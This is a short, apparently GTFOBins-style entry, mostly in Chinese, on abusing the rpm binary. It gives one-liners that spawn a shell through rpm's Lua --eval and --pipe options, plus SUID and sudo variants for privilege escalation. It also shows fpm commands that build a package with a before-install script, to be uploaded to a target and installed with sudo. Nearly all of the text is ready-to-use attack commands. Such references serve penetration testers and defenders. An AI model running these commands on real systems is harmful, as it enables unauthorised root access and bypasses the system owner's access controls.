用来生成一个交互式的系统shell。
rpm --eval '%{lua:os.execute("/bin/sh")}'
rpm --pipe '/bin/sh 0<&1'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./rpm --eval '%{lua:os.execute("/bin/sh")}'
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
```
sudo rpm -ivh x-1.0-1.noarch.rpm